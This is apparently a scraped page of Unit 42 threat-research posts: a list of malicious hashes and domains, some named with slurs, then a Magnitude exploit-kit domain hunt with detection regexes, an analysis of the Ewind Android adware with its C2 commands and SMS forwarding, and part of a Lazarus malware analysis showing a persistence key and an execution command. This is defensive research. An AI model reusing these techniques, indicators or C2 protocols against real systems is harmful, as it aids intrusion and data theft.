5dd162ab66f0c819ee73868c26ecd82408422e2b6366805631eab95ae32516f3

6e2991e02d3cf17d77173d50cdaa766661a89721c3cc4050fba98bea0dbdb1a9

1e8ed6e8d0b6fc47d8176c874ed40fb09644c058042f34d987878fa644f493cc

647e379517fed71682423b0192da453ec1d61a633c154fdd55bab762bcc404f3

ebd4f45cbb272bcc4954cf1bd0a5b8802a6e501688f2a1abdb6143ba616aea82

edc49bf7ec508becb088d5082c78d360f1a7cad520f6de6d8b93759b67aac305

7482f8c86b63ce53edcb62fc2ff2dd8e584e2164451ae0c6f2b1f4d6d0cb6d9c

2fbd3d2362acd1c8f0963b48d01f94c7a07aeac52d23415d0498c8c9e23554db

154e3a12404202fd25e29e754ff78703d4edd7da73cb4c283c9910fd526d47db

fc5f7a21d953c394968647df6a37e1f61db04968ad1aca65ad8f261b363fa842

a1d5b7d69d85b1be31d9e1cb0686094cc7b1213079b2a66ace01be4bfe3fb7c3

4b0203492a95257707a86992e84b5085ce9e11810a26920dbb085005081e32d3

a05805bcec72fb76b997c456e0fd6c4b219fdc51cad70d4a58c16b0b0e2d9ba1

4e953ea82b0406a5b95e31554628ad6821b1d91e9ada0d26179977f227cf01ad

6272ed2a9b69509ac16162158729762d30f9ca06146a1828ae17afedd5c243ef

440504899b7af6f352cfaad6cdef1642c66927ecce0cf2f7e65d563a78be1b29

Domains

ns1[.]squidmilk[.]com

ns2[.]squidmilk[.]com

z[.]realnigger[.]xyz

ns1[.]tconvulsit[.]com

ns1[.]fresweepy[.]com

ns2[.]iexogyrarax[.]com

ns1[.]xraisermz[.]com

secure[.]affiliatetoday[.]xyz

secure[.]gayporndownload[.]xyz

secure[.]gameofthrone[.]club

secure[.]dropinbox[.]pw

secure[.]mailserver02[.]xyz

we[.]niggerporn[.]xyz

z[.]noplacelikehome[.]xyz

ns1[.]stackreports[.]com

ns2[.]stackreports[.]com

ns[.]liveupdate1[.]com

ns[.]nortonsecurity[.]in

we[.]letsdosomefun[.]xyz

we[.]be-smart[.]xyz

z[.]newblood[.]xyz

ns2[.]ibandagerk[.]com

ns1[.]rmacutecompw[.]com

ns1[.]pholothud[.]com

ns1[.]athermoforw[.]com

ns1[.]lclownerymor[.]com

ns2[.]xunderfeatuv[.]com

ns3[.]ssaddlegirv[.]com

ns1[.]qcytasicspc[.]com

ns[.]7ni7[.]com

Ignite ’17 Security Conference: Vancouver, BC June 12–15, 2017

LabyREnth CTF 2017: We’re At It Again…

Posted on April 19, 2017 by Richard Wartell

A new Unit 42 Capture the Flag (CTF) challenge is coming on June 9, 2017.

Visit LabyREnth.com to see our new and improved site. We’ll be counting down to the launch!

Dig around the site and you’ll find an overview and prizes for this year’s CTF.

Good luck!

Can’t wait until the launch?
Check out how last year’s challenge played out.

Ignite ’17 Security Conference: Vancouver, BC June 12–15, 2017

Pulling the Brake on the Magnitude EK Train

Posted on April 13, 2017 by Jeff White

This blog goes into detail on recent work that Unit 42 has done to identify malicious sites associated with the Magnitude Exploit Kit (EK). It details the investigation process involved in identifying the algorithm used to generate domains used by the Magnitude EK. Defenders can use the provided data to identify possible domains that may be associated with the Magnitude EK before they're used and block them pre-emptively and so block Magnitude EK attacks before they happen.

Initial Assessment

While hunting for new malware in Palo Alto Networks AutoFocus, I stumbled across some Adobe Flash files being used in what appeared to be an active exploit kit to which some users were being redirected. As I started to collect the URLs from these sites, a pattern began to emerge with which I was not immediately familiar. Below is a sample of the URLs.

ffp495bf1aw.itshis[.]party/d8667t121

89pd19n3d7d3x9cuf.maylink[.]space/766p3d35i8ze

131n35co4o895a35ga.seemif[.]faith/6i0218b05

96ax4b1cc77f0h76q.tinhes[.]trade/1tb20dc3f46h3n

ffp495bf1aw.itshis[.]party/d8667t121

89pd19n3d7d3x9cuf.maylink[.]space/766p3d35i8ze

131n35co4o895a35ga.seemif[.]faith/6i0218b05

96ax4b1cc77f0h76q.tinhes[.]trade/1tb20dc3f46h3n

The third-level domains are a mix of alphanumeric characters, followed by a second-level domain made up of two combined English language words, followed by unusual, legitimate top level domains (TLDs), and then finally a path made up of alphanumeric characters. Within a few minutes of refining my search criteria, I was seeing pages of session data covering this type of activity indicating this was an active threat so I decided to dive in further.

I was able to use AutoFocus in conjunction with YARA to accurately identified the container files as being dropped from Magnitude EK. Additionally, I found multiple blog posts such as this one on Malware Traffic Analysis which confirmed this pattern was in fact Magnitude.

Great, now that I know what I’m dealing with, I can get down to the business at hand and further enumerate Magnitude EK URLs.

Pulling the Brake

In research, we typically start the process of enumeration by identifying a pattern and then using that pattern to further target and collect information. Then we take that information and repeat the process. In this case, I extracted around 100,000 sessions that contained Adobe Flash files from URLs that matched a handful of the TLD’s I observed, including things like “stream”, “space”, “review”, “webcam”, “trade”, “date”, “party”. This provided a solid body of data that I could use to try and create a pattern from by using the previously discussed rules with alphanumeric characters and the like.

Below is a Pearl Compatible Regular Expression (PCRE) that I crafted to identify the initial landing pages for Magnitude EK.

^http:\/\/(?![a-z]+\.)[a-z0-9]{7,22}\.[a-z]{5,9}\.(?!com|org|net)[a-z]{2,7}\/(?![a-z]+$)[a-z0-9]{8,128}$

1	^http:\/\/(?![a-z]+\.)[a-z0-9]{7,22}\.[a-z]{5,9}\.(?!com\|org\|net)[a-z]{2,7}\/(?![a-z]+$)[a-z0-9]{8,128}$

Using this PCRE, I successfully identified 1113 unique landing pages across 1056 unique domains (856 unique second level domains). These are included in “magek_landing.txt” on the Unit 42 GitHub IOC repository. This file also contains the PCREs described in this blog.

While creating the PCRE I noticed there was another URL pattern that frequently showed up on these domains. After additional research, I identified that this secondary URL pattern is the actual exploit Magnitude delivers once the landing page has profiled the browser/version(s) of Adobe Flash.

The following URLs are examples of this second pattern.

hxxp://1a3efi03i622219em.ohquite[.]stream/WIN%2020,0,0,228

hxxp://7c1x34o504ldc926g.hotfear[.]review/win%2021,0,0,197

hxxp://8d822k096y.sortman[.]bid/win%2020,0,0,272

hxxp://d8dkfla60f24wd71o.owedloop[.]loan/win%2018,0,0,366

hxxp://1a3efi03i622219em.ohquite[.]stream/WIN%2020,0,0,228

hxxp://7c1x34o504ldc926g.hotfear[.]review/win%2021,0,0,197

hxxp://8d822k096y.sortman[.]bid/win%2020,0,0,272

hxxp://d8dkfla60f24wd71o.owedloop[.]loan/win%2018,0,0,366

Building on the previous PCRE, the PCRE below will identify the exploit part being delivered by this kit.

^http:\/\/(?![a-z]+\.)[a-z0-9]{7,22}\.[a-z]{5,9}\.(?!com|org|net)[a-z]{2,7}\/(?![a-z]+$)(?:[a-z0-9]{8,128}\?)?[WwIiNn]{3}%[0-9]{4},[0-9]{1},[0-9]{1,3},[0-9]{1,3}$

1	^http:\/\/(?![a-z]+\.)[a-z0-9]{7,22}\.[a-z]{5,9}\.(?!com\|org\|net)[a-z]{2,7}\/(?![a-z]+$)(?:[a-z0-9]{8,128}\?)?[WwIiNn]{3}%[0-9]{4},[0-9]{1},[0-9]{1,3},[0-9]{1,3}$

I didn’t identify any new domains with this new PCRE. Nevertheless, it provides another opportunity for defender blue teams to identify and catch this activity at their proxy or URL filtering devices.

Clearing the Track

At this point, we have good coverage from the PCREs of the Magnitude EK infrastructure but I wanted to see if the coverage could be extended even further. So far, everything I’ve identified has been actively seen in an attack but, as every blue teamer knows, it’s better if you can stop a threat before they are able to carry out an attack. To do this, I need to shift focus from known attack domains to unknown attack domains.

Taking the previously mentioned 1056 domains, I started reviewing the registration information for them and noticed several interesting characteristics as I collated the data from PassiveTotal.

1. There were 110 registrants that registered 26 domains, which was roughly the average number of domains per registrant. On the low end, 16 registrants registered exactly 52 domains. In Table 1 you can see the top ten registrant addresses and the number of times they were used.

404	Klarkson avenue 25
343	32 Glendale Crescent
318	Densell st. 199
298	Henbamo 33
286	1299 Still Street
212	Nolenpark 88
183	Haringo 399
172	1043 Mattson Street
160	Idorkalben 1928
159	hotberry road 38

Table 1 Top 10 registrant addresses used.

2. There was heavy re-use of addresses and telephone numbers, with one phone number being used for 1411 domains while another phone number is tied to 2421 registrations.

3. There was a lot of information that is just plain wrong in the registration details, which I feel would be worth its own research effort. For example, Table 2 shows entries wherein the city doesn’t exist in the listed state.

Domain	Email	Country	State	City
listworth.top	antonvarvutov@yandex[.]ru	united states	florida	moscow
goingtill.gdn	adamdalnet@gmail[.]com	united states	kansas	tolens
basefew.bid	benfansyl@gmail[.]com	united states	ohio	colorado city
rateshell.gdn	bovengals@gmail[.]com	united states	indiana	florida
liftrush.date	briangarret@gmail[.]com	united states	delaware	gasanter

Table 2 Example domain registrants with cities listed for states in which they do no exist

Given this, I took 223 identified unique e-mails from our domains observed being used in attacks and used that to enumerate a list of 6089 second level domains for Magnitude EK that match our known pattern. These domains can also be found in “magek_domains.txt” on the Unit 42 GitHub IOC repository.

By leveraging this data, defenders can now proactively block domains that could be used for Magnitude EK before they are used for attacks. In addition, defenders can use the provided PCRE’s to block future domains. For Palo Alto Networks customers, all domains are properly identified as malicious and the below tag was created in AutoFocus for those who wish to explore the activity further.

MagnitudeEKFlashContainer

Happy hunting! Choo chooo!

Acknowledgements: A big “thank you” to Juan Figuera for tightening up these PCRE’s and testing them, along with Nathan Fowler, who both helped make sure these are false-positive adverse for the greater good of the community.

Ignite ’17 Security Conference: Vancouver, BC June 12–15, 2017

Ewind – Adware in Applications’ Clothing

Posted on April 11, 2017November 1, 2018 by Yaron Samuel

Since mid-2016 we have observed multiple new samples of the Android Adware family “Ewind”. The actors behind this adware utilize a simple yet effective approach – they download a popular, legitimate Android application, decompile it, add their malicious routines, then repackage the Android application package (APK). They then distribute the trojanized application using their own, Russian-language-targeted Android Application sites.

Some of the popular Android applications that Ewind targets include GTA Vice City, AVG cleaner, Minecraft - Pocket Edition, Avast! Ransomware Removal, VKontakte, and Opera Mobile.

Although Ewind is fundamentally adware, monetization through displaying advertising on the victim device, it also includes other functionality such as collecting device data, and forwarding SMS messages to the attacker. The adware Trojan in fact potentially allows full remote access to the infected device.

The applications, injected advertising, application sites – and, we believe, the attacker, are all Russian.

Initial observation

We observed in AutoFocus a large number of repackaged APKs, signed with the same suspicious certificate. Using the command line tool “keytool” we identify some unique signing-certificate elements. The certificate resides in “META-INF/APP.RSA” in all of the samples:

owner=CN=app
issuer=CN=app
md5=962C0C32705B3623CBC4574E15649948
sha1=405E03DF2194D1BC0DDBFF8057F634B5C40CC2BD
sha256=F9B5169DEB4EAB19E5D50EAEAB664E3BCC598F201F87F3ED33DF9D4095BAE008

Our suspicions were further raised noting that many of the APKs included the application name of Anti-Virus and other well-known applications.

Technical Analysis

While there are some variants to Ewind, we analyzed the sample that repackaged “AVG Cleaner”.

9c61616a66918820c936297d930f22df5832063d6e5fc2bea7576f873e7a5cf3

This specific sample was downloaded from IP address 88.99.112[.]169 which hosts multiple Android application stores.

It is simple to identify the added Trojan components in the AndroidManifest.xml, as they all are prepended with “b93478b8cdba429894e2a63b70766f91”:

b93478b8cdba429894e2a63b70766f91.ads.Receiver
b93478b8cdba429894e2a63b70766f91.ads.admin.AdminReceiver
b93478b8cdba429894e2a63b70766f91.ads.AdDialogActivity
b93478b8cdba429894e2a63b70766f91.ads.AdActivity
b93478b8cdba429894e2a63b70766f91.ads.admin.AdminActivity
b93478b8cdba429894e2a63b70766f91.ads.services.MonitorService
b93478b8cdba429894e2a63b70766f91.ads.services.SystemService

Ewind registers ads.Receiver for the following events:

Boot completion (“android.intent.action.BOOT_COMPLETED”)
Screen off ("android.intent.action.SCREEN_OFF")
User-present ("android.intent.action.USER_PRESENT")

The first time that ads.Receiver is invoked, it collects environmental information from the device, and sends it to a Command-and-Control (C2) server. The information that is collected can be seen in Figure 1 below. Ewind generates a unique ID per installation, transmitting it as a URL parameter. The URL parameter “type=init” indicates first-run.

Figure 1- Ewind transmits victim information to C2

The C2 responds over plain-text HTTP using the following command syntax:

[{"id":"0","command":"OK"},
{"id":15826273,"command":"changeMonitoringApps","params":{"apps":["com.android.chrome","com.yandex.browser","com.UCMobile.intl","org.mozilla.firefox","com.opera.mini.native","com.opera.browser","com.opera.mini.native.beta","com.uc.browser.en","com.ksmobile.cb","com.speedupbrowser4g5g","com.gl9.cloudBrowser","appweb.cloud.star"]}},
{"id":15826274,"command":"wifiToMobile","params":{"enable":true}},
{"id":15826275,"command":"sleep","params":{"time":720}},
{"id":15826276,"command":"adminActivate","params":{"tryCount":3}}]

[{"id":"0","command":"OK"},

{"id":15826273,"command":"changeMonitoringApps","params":{"apps":["com.android.chrome","com.yandex.browser","com.UCMobile.intl","org.mozilla.firefox","com.opera.mini.native","com.opera.browser","com.opera.mini.native.beta","com.uc.browser.en","com.ksmobile.cb","com.speedupbrowser4g5g","com.gl9.cloudBrowser","appweb.cloud.star"]}},

{"id":15826274,"command":"wifiToMobile","params":{"enable":true}},

{"id":15826275,"command":"sleep","params":{"time":720}},

{"id":15826276,"command":"adminActivate","params":{"tryCount":3}}]

Ewind stores each received command inside a local SQLite database named “main”, then processes each sequentially. After completing each command, Ewind reports the result to the C2. The results are tagged with URL parameter “type=response” (Figure 2).

Figure 2- Victim response to C2 command

We observe that the command “adminActivate” is received only in the initialization stage. This command instructs Ewind to open “AdminActivity” which attempts to trick the victim into granting Ewind device admin access. The translation of the message is “Click "Activate" to the application to complete the installation correctly” (Figure 3).

Figure 3- Ewind attempts to trick the using into granting admin rights

It is not clear why Ewind attempts to get device admin privilege. One advantage gained by being device admin is that for a non-technical user, it is somewhat harder to uninstall the trojanized application. Another technique observed is that upon clicking on deactivate in the device admin screen, Ewind uses its capability to lock the screen for 5 seconds, switching the screen back to the regular settings screen upon unlock.

While this should make it harder to uninstall Ewind, in this specific sample a bug prevents calling the “lock screen” function. In order to lock the screen, Ewind creates AsyncTask, which sticks in an infinite loop. Ewind can’t execute this AsyncTask again until the first one is completed (an Android Platform restriction).

It is interesting to note that although Ewind checks if the phone is jail-broken, we didn’t observe any code path exploiting such functionality.

It appears that Ewind is used for more than just displaying ads. Ewind has a service named “ads.Monitor” which monitors the foreground application (this functionality works only in Android 4.4 and lower, as Android restricts the usage of “getRunningTasks” API in more advanced versions). If the package name of the application is matched to one of the packages listed in Ewind’s “targeted apps” (list available here), Ewind sends a “type=event” to the C2 (Figure 4). Ewind will also send a “stopApp” event if the application is no longer in the foreground. Other events include “userPresent” , “screenOff”, “install” (of a package already on the device), “uninstall”, “adminActivated” and “adminDisabled”, “click” (when the user clicks on the displayed ad), “receive.sms” and “sms.filter”.

Figure 4- Ewind reports application activity to C2

The server can respond (Figure 5), instructing Ewind to perform an action – usually to display an ad. The server also supplies the URL of the ad to display. The ad is displayed using a simple webview.

Figure 5- C2 commands victim to display advert

During our tests, only when finance-related applications were in the foreground, did the victim receive a command to display an advert (none of the targeted browsers received commands upon being in the foreground). In addition, regardless of an application starting or stopping, it always triggers the command “showFullScreen”. The Parameters of this command are “URL” (of the advert) and “delay” (how long Ewind waits until it displays the advert (seconds)).

The only advert sent to our test victims was from the URL mobincome[.]org/banners/banner-720x1184-24.html (Figure 6). When clicked, it attempts to download the application “mobCoin” from the application store androidsky[.]ru. At the time we analyzed the Ewind sample, download link wasn’t working. We found an Ewind Trojanized sample of the MobCoin application (393ffeceae27421500c54e1cf29658869699095e5bca7b39100bf5f5ca90856b), though it’s not clear if this is the same file that was previously served by androidsky[.]ru.

Figure 6- Advertisement displayed by Ewind

The last type of communication is “type=timer”, which serves as a keep alive function. Ewind transmits at pre-defined intervals (usually 180 plus/minus a random number of seconds), the request show in Figure 7 below. Usually this request is of little interest apart from the keep-alive function, but we observe that once a day the server will responds to this request with an updated list of target applications.

Figure 7- Keep-alive request sent by Ewind

SMS stealing

Ewind can be instructed using the “smsFilters” command to forward to the C2 any SMS messages meeting a certain filter criteria. The filter includes matching a phone number or message text. If a message is received from a matching phone number or with matching text, Ewind sends the C2 a request with the event “receive.sms”, including the full SMS text and sending phone number. If both a phone number and text filter match, Ewind informs the C2 with event “sms.filter”.

This functionality is likely intended to defeat two-factor authentication by SMS. We have not observed the actors using this command, but we were able to observe it in operation when we manually inserted filters into a victim Ewind database.

Targeted Apps

If a package name matches the list of targeted applications, every time that application is sent to foreground or background, Ewind notifies the C2. The C2 can respond with a command for Ewind to execute, usually displaying an advert. This list of targeted applications is initialized by the server upon the first execution of Ewind, and is updated daily. The list is stored in {data_dir_of_the_app}/shared_prefs/a5ca9525-c9ff-4a1d-bb42-87fed1ea0117.xml.

As far as we have seen, the targeted application list contains mainly browsers and financially-related applications. We also noted that the C2 doesn’t appear (at least for now) to send commands to Ewind upon browser execution, but only when financial applications are reported.

String obfuscation

Ewind obfuscates some of its strings using a simple XOR with the filename of its shared preferences – “a5ca9525-c9ff-4a1d-bb42-87fed1ea0117”. After de-obfuscation we get the following json split into an array of strings:

["internal: close","internal: too many redirects","click: ","send: ","http",
"Referer","javascript:","internal: timeout","null","internal: timeoutconnect",
"receive.sms","web.click.end","sms.filter","js.data","phone","text","phoneExp",
"textExp","loadProgress","errorUrl","errorDescription","id","timeout","data","filters"
,"[%d].","invalid, null or empty","invalid regular expression","invalid, null",
"test","enable","already enabled","already disabled","end","[%d]",
"actions","urlExp","js","start","turnOffWifi","userAgent"]

["internal: close","internal: too many redirects","click: ","send: ","http",

"Referer","javascript:","internal: timeout","null","internal: timeoutconnect",

"receive.sms","web.click.end","sms.filter","js.data","phone","text","phoneExp",

"textExp","loadProgress","errorUrl","errorDescription","id","timeout","data","filters"

,"[%d].","invalid, null or empty","invalid regular expression","invalid, null",

"test","enable","already enabled","already disabled","end","[%d]",

"actions","urlExp","js","start","turnOffWifi","userAgent"]

Commands

The list of commands in Ewind includes both functions we saw in action, and other abilities that we did not observe used:

showFullscreen – display advertisement
showDialog – display a dialog that upon clicking will opens an advertisement
showNotification – display a notification in the notification bar
createShortcut – download an APK and create a shortcut to it
openUrl – open an URL using webview
changeTimerInterval – change interval between keep-alive pings
sleep – sleep for a supplied period of time
getInstalledApps – retrieve a list of installed applications
changeMonitoringApps – define the list of targeted applications
wifiToMobile – enable/disable connectivity, although seems to do nothing
openUrlInBackground – open a URL in the background
webClick – execute supplied javascript in a webview for a specific web page
receiveSms – enable/disable incoming SMS monitoring
smsFilters – define phone number and SMS text filters to trigger upload to C2
adminActivate – display activity to activate device admin
adminDeactivate – deactivate device admin

Other samples

Further investigation identified over a thousand other samples of Ewind, also communicating with the same C2 mobincome[.]org, but using a different identifying APK service name string “com.maxapp”. Other samples using “com.maxapp” but not communicating with the C2 appear to be by the same actor, but different families.

Infrastructure and Attribution

We initially did not assume any link existed between the Trojan author, and the Android application sites that the Trojanized applications were hosted on. Bad actors often upload Trojanized applications to websites that simply enable the sharing of “cracked” apps, but in this case there appears to be a stronger connection.

Our analyzed sample was downloaded from 88.99.112[.]169. The sample communicates with the C2 server mobincome[.]org. We noticed that the C2 is on 88.99.71[.]89 – the same /16 netblock as the sample was downloaded from. A /16 network is relatively large, so this link is relatively weak – however it did get our attention.

We then noted that the WHOIS record for mobincome[.]org is currently anonymized, but historically, with apparently-consistent ownership, was registered to a “Maksim Mikhailovskii” of Volgograd. We note the actor uses the name “Max” in some APK service names.

Mobincome[.]org has a resource link (img src) to the domain apkis[.]net. Apkis[.]net is also registered to “Maksim Mikhailovskii”. Apkis[.]net is hosted on 88.99.112[.]168 – not only the same /16 netblock, but immediately adjacent to the IP address the sample was downloaded from. We additionally find Ewind samples downloaded from 88.99.112[.]168 . This demonstrates a much stronger link between the C2 mobincome[.]org, and the download I.P. 88.99.112[.]169, and a possible actor behind the activity.

88.99.112[.]169 hosts only a handful of domains, all Android application stores:

mob-corp[.]com
appdecor[.]org
playlook[.]ru
android-corp[.]ru
androiddecor[.]ru

These all have anonymized WHOIS records, but based upon the above connections and further infrastructure analysis (Figure 8), we determine that the actor behind the trojanized applications is hosting these at application stores under his own control. Another app store “apptoup[.]com”, on the same /16 at 88.99.99[.]25, while recently changed to an anonymized WHOIS, until then also displayed a “Maksim Mikhailovskii” registration.

Figure 8- Infrastructure Analysis

Figure 8 highlights the connects between the download domain and C2, and the registrant “Maksim”, along with infrastructure connections to other Android app store domains.

The predominant C2 used by the actor is, by far, mobincome[.]org, although we do also observe a handful of samples connecting to androwr[.]ru (88.99.99[.]25, same IP as apptoup[.]com, above) as C2. Searching in AutoFocus, we find thousands of other Adware and/or Trojan Android samples connecting to these domains.

We link tens of thousands of non-Ewind samples dating back several years to this actor based upon the infrastructure, APK signing key hashes, and/or use of the unique APK service name strings (in addition, “com.max.mobcoin”). These all appear to, in some fashion or another, monetize Android apps though advertising.

The WHOIS email address links to several other domains, with contextual names:

Appwarm[.]com
mobcoin[.]org
android-corp[.]su
z-android[.]com
apkis[.]net

Investigation of the IP addresses used by domains linked to this actor turns up a list of further domains sharing the same infrastructure, again also seemingly contextually linked too:

appdisk[.]ru
vipsmart[.]org
vipandroid[.]ru
vipandroid[.]org
1lom[.]com
mobcompany[.]com
greenrobot-apps[.]net
9apps.ru[.]com
ontabs[.]com
ontabfile[.]com
andromobi[.]ru
bammob[.]com
apkforward[.]ru
mobrudiment[.]ru
mob0esd[.]ru
mob1leprof[.]ru
mob4ad[.]ru
mob2ads[.]ru
mob1lihelp[.]ru
mob1help[.]ru

The sharing of these IP addresses seems to be limited in each case to a small number of contextually-named domains, suggesting that we’re looking at “dedi” dedicated hosting rather than shared, and a single owner for all of the domains on those IP addresses.

Summary

Ewind is more than simply Adware. Ewind is, at very least, an actual Trojan – subverting genuine Android apps. The functionality to forward SMS messages to a C2 hints at possible intentions beyond just delivering adware. Of real concern is that although we’ve only observed these Trojans being used to deliver advertising to victims, as our analysis shows, with device-admin access and the functionality to download and execute any file on the device, the actor behind this activity can easily take full control of the victim device.

While identifying a Malware author as Russian is not at all surprising, usually Russian actors avoid targeting Russian subjects. Deliberate targeting of Russians, in this case – by an apparently Russian actor – is therefore somewhat unusual.

We have here an actor not only developing malware for monetization, but responsible for a network of Android App Store infrastructure which has over the years been used to serve tens of thousands of Android downloads in support of his advertising-supported monetization schemes.

Palo Alto Networks customers are protected from the Ewind Trojan:

WildFire properly classifies Ewind samples as malicious.
C2 servers associated with this activity are blocked through Threat Prevention DNS signatures.
Download sites associated with this actor are categorized as Malware.
AutoFocus customers can monitor this activity using the “Ewind” tag.

Indicators of Compromise

Ewind C2 Domains:

mobincome[.]org
androwr[.]ru

Unique string (APK Defined service):

b93478b8cdba429894e2a63b70766f91

We cannot categorically state that all Android apps downloaded from the mentioned app store domains are Ewind, or even necessarily malicious. However, given the connection to this actor and his known activity, it may be appropriate to consider these low-reputation.

Ignite ’17 Security Conference: Vancouver, BC June 12–15, 2017

The Blockbuster Sequel

Posted on April 7, 2017January 28, 2022 by Anthony Kasza

Unit 42 has identified malware with recent compilation and distribution timestamps that has code, infrastructure, and themes overlapping with threats described previously in the Operation Blockbuster report, written by researchers at Novetta. This report details the activities from a group they named Lazarus, their tools, and the techniques they use to infiltrate computer networks. The Lazarus group is tied to the 2014 attack on Sony Pictures Entertainment and the 2013 DarkSeoul attacks.

This recently identified activity is targeting Korean speaking individuals, while the threat actors behind the attack likely speak both Korean and English. This blog will detail the recently discovered samples, their functionality, and their ties to the threat group behind Operation Blockbuster.

Initial Discovery and Delivery

This investigation began when we identified two malicious Word document files in AutoFocus threat intelligence tool. While we cannot be certain how the documents were sent to the targets, phishing emails are highly likely. One of the malicious files was submitted to VirusTotal on 6 March 2017 with the file name "한싹시스템.doc". Once opened, both files display the same Korean language decoy document which appears to be the benign file located online at "www.kuipernet.co.kr/sub/kuipernet-setup.docx".

Figure 1 Dropped decoy document

This file (Figure 1) appears to be a request form used by the organization. Decoy documents are used by attackers who want to trick victims into thinking a received file is legitimate. At the moment, the malware infects the computer, it opens a non-malicious file that contains content the target expected to receive (Figure 2.) This serves to fool the victim into thinking nothing suspicious has occurred.

Figure 2 Spear Phishing Attack uses a decoy a file to trick the target

When these malicious files are opened by a victim, malicious Visual Basic for Applications (VBA) macros within them write an executable to disk and run it. If macros are disabled in Microsoft Word, the user must click the “Enable Content” button for malicious VBA script to execute. Both documents make use of logic and variable names within their macros, which are very similar to each other. Specifically, they both contain strings of hex that when reassembled and XOR-decoded reveal a PE file. The PE file is written to disk with a filename that is encoded in the macro using character substitution. Figure 3 shows part of the logic within the macros which is identical in both files.

Figure 3 Malicious document malicious macro source code

The Embedded Payload

The executable which is dropped by both malicious documents is packed with UPX. Once unpacked, the payload (032ccd6ae0a6e49ac93b7bd10c7d249f853fff3f5771a1fe3797f733f09db5a0) can be statically examined. The compile timestamp of the sample is March 2^nd, 2017, just a few days before one of the documents carrying the implant was submitted to VirusTotal.

The payload ensures a copy of itself is located on disk within the %TEMP% directory and creates the following registry entry to maintain persistence if the system is shutdown

HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\JavaUpdate , 
Value:%TEMP%\java.exe /c /s

1 2	HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\JavaUpdate , Value:%TEMP%\java.exe /c /s

It then executes itself with the following command line:

%TEMP%\java.exe /c %TEMP%\java.exe

1	%TEMP%\java.exe /c %TEMP%\java.exe

The implant beacons to its command and control (C2) servers directly via the servers' IPv4 addresses, which are hard coded in the binary, no domain name is used to locate the servers. The communications between the implant and the server highly resemble the "fake TLS" protocol associated with malware tools used by the Lazarus group and described in the Operation Blockbuster report. However, the possible values of the Server Name Indication (SNI) record within the CLIENT HELLO of the TLS handshake used by the implant differ from those described in the report. The names embedded in the new sample and chosen for communications include:

twitter.com
www.amazon.com
www.apple.com
www.bing.com
www.facebook.com
www.microsoft.com
www.yahoo.com
www.join.me

The C2 servers contacted by the implant mimic the expected TLS server responses from the requested SNI field domain name, including certificate fields such as the issuer and subject. However, the certificates' validity, serial number, and fingerprint are different. Figure 4 shows a fake TLS session which includes the SNI record "www.join.me" destined for an IPv4 address which does not belong to Join.Me.

Figure 4 The use of "www.join.me" as an SNI record of a TLS handshake to an IPv4 address which does not host that domain name

Expanding the Analysis

Because the attackers reused similar logic and variable names in their macros, we were able to locate additional malicious document samples. Due to the heavy reuse of code in the macros we also speculate the documents are created using an automated process or script. Our analysis of the additional malicious documents showed some common traits across the documents used by the attackers:

Many, but not all, of the documents have the same author
Malicious documents support the ability to drop a payload as well as an optional decoy document
XOR keys used to encode embedded files within the macros seem to be configurable
All of the dropped payloads were compressed with a packer (the packer used varied)

Multiple testing documents which dropped and executed the Korean version of the Microsoft calc.exe executable, but contained no malicious code, were also identified. This mirrors a common practice in demonstrating exploits of vulnerabilities. Interestingly enough, all of the test documents identified were submitted to VirusTotal with English file names from submitters located in the United States (although not during US "working hours"). Despite the documents having Korean code pages, when executed they open decoy documents with the English text: "testteststeawetwetwqetqwetqwetqw". These facts lead us to believe at least some of the developers or testers of the document weaponizing tool may be English speakers.

While some of the documents identified carry benign payloads, most of the payloads were found to be malicious. A cluster of three malicious documents were identified that drop payloads which are related via C2 domains. The payloads can be seen highlighted in Figure 5.

Figure 5 Related executables, their C2 domain names, their dropper documents, and the shared batch file

The two malicious payloads circled in Figure 5 write a batch script to disk that is used for deleting the sample and itself, which is a common practice. The batch script dropped by the two payloads share a file name, file path, and hash value with a script sample (77a32726af6205d27999b9a564dd7b020dc0a8f697a81a8f597b971140e28976). This sample is described in a 2016 research report by Blue Coat discussing connections between the DarkSeoul group and the Sony breach of 2014.

The script's (Figure 6) hash value will vary depending on the name of the file it is to delete. It also includes an uncommon label inside it of "L21024". The file the script deletes is the payload which writes the script to disk. In the case of Figure 6, the payload was named "thing.exe".

Figure 6 The contents of the shared batch script

Ties to Previous Attacks

In addition to the commonalities already identified in the communication protocols and the shared cleanup batch script use by implants, the payloads also share code similarities with samples detailed in Operation Blockbuster. This is demonstrated by analyzing the following three samples, which behave in similar ways:

032ccd6ae0a6e49ac93b7bd10c7d249f853fff3f5771a1fe3797f733f09db5a0
79fe6576d0a26bd41f1f3a3a7bfeff6b5b7c867d624b004b21fadfdd49e6cb18 520778a12e34808bd5cf7b3bdf7ce491781654b240d315a3a4d7eff50341fb18

We used these three samples to reach the conclusion that the samples investigated are tied to the Lazarus group.

First, these three samples all use a unique method of executing a shell command on the system. An assembly function is passed four strings. Some of the strings contain placeholders. The function interpolates the strings and creates a system command to be executed. The following four parameters are passed to the function:

"PM",
"xe /"
"md"
"c%s.e%sc \ "%s > %s 2>&1\"

These are used not only in the implant we investigated, but also in the two samples above. Additionally, many samples discussed in the Operation Blockbuster report also made use of this technique. Figure 7 shows the assembly from the unpacked implant (032ccd6ae0a6e49ac93b7bd10c7d249f853fff3f5771a1fe3797f733f09db5a0) delivered by our malicious document and shows the string interpolation function being used.

Figure 7 The string interpolation function assembly with library names from 032ccd6ae0a6e49ac93b7bd10c7d249f853fff3f5771a1fe3797f733f09db5a0

Figure 8 shows the same string interpolation logic but within a different sample (79fe6576d0a26bd41f1f3a3a7bfeff6b5b7c867d624b004b21fadfdd49e6cb18.) The instructions are the same except where the system calls are replaced with DWORDs which brings us to a second similarity.

Figure 8 The string interpolation function assembly without library names from 79fe6576d0a26bd41f1f3a3a7bfeff6b5b7c867d624b004b21fadfdd49e6cb18

The second similarity ties this sample to a known Lazarus group sample (520778a12e34808bd5cf7b3bdf7ce491781654b240d315a3a4d7eff50341fb18.) Upon execution, both samples set aside memory to be used as function pointers. These pointers are assigned values by a dedicated function in the binary. Other functions in the binary call the function pointers instead of the system libraries directly. The motivation for the use of this indirection is unclear, however, it provides an identifying detection mechanism.

These two samples resolve system library functions in a similar yet slightly different manner. The sample known to belong to the Lazarus group uses this indirect library calling in addition to a function that further obfuscates the function's names using a lookup table within a character substitution function. This character substitution aspect was removed in the newer samples. The purpose for removing this functionality between the original Operation Blockbuster report samples and these newer ones is unclear. Figure 9 displays how this character substitution function was called within the Lazarus group sample.

